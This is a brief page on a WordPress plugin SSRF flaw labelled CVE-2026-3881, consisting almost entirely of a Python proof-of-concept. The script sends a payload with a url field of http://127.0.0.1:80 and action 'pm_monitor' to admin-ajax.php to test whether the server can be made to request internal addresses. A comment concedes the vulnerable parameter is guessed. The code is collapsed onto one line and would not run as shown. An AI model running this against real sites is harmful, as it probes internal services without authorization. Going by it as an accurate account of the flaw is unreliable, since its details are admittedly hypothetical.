CVE-2026-3881 WordPress插件SSRF漏洞

import requests def check_ssrf(target_url): """ PoC for CVE-2026-3881 Testing if the target is vulnerable to SSRF by requesting an internal endpoint. """ # Vulnerable endpoint parameter (hypothetical based on description) payload = { "url": "http://127.0.0.1:80", "action": "pm_monitor" } try: # Sending the request to the vulnerable plugin endpoint response = requests.post(target_url, data=payload, timeout=5) # Check if the response indicates a connection to the internal server if response.status_code == 200 and "localhost" in response.text.lower(): print("[+] The target is vulnerable to SSRF.") else: print("[-] Could not confirm vulnerability.") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target = "http://example.com/wp-admin/admin-ajax.php" check_ssrf(target)